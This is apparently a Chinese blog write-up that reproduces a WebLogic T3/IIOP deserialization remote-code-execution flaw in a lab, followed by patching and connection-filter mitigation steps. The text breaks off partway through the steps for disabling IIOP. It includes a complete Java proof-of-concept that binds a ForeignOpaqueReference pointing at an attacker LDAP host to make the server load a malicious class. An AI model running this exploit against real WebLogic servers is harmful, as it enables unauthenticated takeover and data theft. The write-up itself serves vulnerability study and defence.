Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发、部署和运行企业应用程序,例如 Java。WebLogic Server提供了Java Enterprise Edition (EE)和Jakarta EE的可靠、成熟和可扩展的实现。
WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器,目前已推出到14c版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间件,以及OEPE开发工具。
WebLogic存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。
Weblogic T3/IIOP反序列化命令执行漏洞
Weblogic t3/iiop协议支持远程绑定对象bind到服务端。并且可以通过lookup查看,代码:c.lookup("xxxxxx");。
当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端会调用远程对象getReferent方法。
weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
win10: 192.168.42.128
kali: 192.168.42.129
win10上搭建存在漏洞的WebLogic Server 12.2.1.3.0版本
环境搭建可以参考以下(很详细)
Oracle WebLogic12.2.1.3.0安装与配置(Windows)_风梧1994的博客-CSDN博客_weblogic 12.2.1.3.0
注意:JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
在2018年10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
因此,搭建此漏洞复现环境时jdk版本需要< jdk 8u191 。 (推荐jdk 8u112)
安装好环境验证一下本地是否可以访问
利用poc如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class BindRce {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
//iiop
public static void main(String args[]) throws Exception {
InitialContext c=getInitialContext("t3://127.0.0.1:7001");
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");
c.bind("xxxx",f);
c.lookup("xxx"); }
}
注意: weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar 了,需要手动执行一个命令生成手动生成 wlfullclient.jar,用来替代老版本中的 weblogic.jar。
具体命令如下(Windows 系统,我的 weblogic 安装目录是 C:\Oracle)
切换到C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib 下,执行java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar
cd C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar
#根据自己的路径去找包,生成wlfullclient.jar
打开IEDA创建一个Java项目并本地导入生成的wlfullclient.jar
创建利用poc类,类名可自定义,并把里面的url都换成自己环境的;
kali开放LDAP和WEB服务,
执行poc,让目标加载恶意类造成RCE
等了几秒没有反应,查看漏洞环境,发现被360拦截了,可以看到要去远程加载恶意类,点击允许
复现成功
厂商已发布了漏洞修复补丁,下载链接:https://support.oracle.com/rs?type=doc&id=2917213.2
Oracle WebLogic Server补丁安装方式
1.Oracle WebLogic Server 11g:
bsu.cmd -install -patch_download_dir=C:\Oracle\Middleware\utils\bsu\cache_dir -patchlist=3L3H -prod_dir=C:\Oracle\Middleware\wlserver_10.3
2.Oracle WebLogic Server 12c:
使用opatch apply 安装补丁
C:\Oracle\Middleware\Oracle_Home\OPatch>opatch apply 本机补丁地址
注:补丁编号请自行更改为新补丁编号。
禁用T3、IIOP协议具体操作步骤如下:
1.禁用T3:
进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
在连接筛选器中输入:WebLogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:
127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP * * allow t3 t3s
* * * deny t3 t3s
连接筛选器规则格式如下:target localAddress localPort action protocols,其中:
target 指定一个或多个要筛选的服务器。
localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)
localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。
action 指定要执行的操作。(值必须为“allow”或“deny”。)
protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。
保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:
进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。
待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。
2.禁用IIOP:
经过测试,weblogic 12.1.3.0.0、weblogic 12.2.1.3.0(12c)、weblogic14.x(14c) 版本禁用IIOP协议的详细步骤如下:
登录weblogic后台之后,点开“域分区”—环境—服务器—“AdminServer(管理)”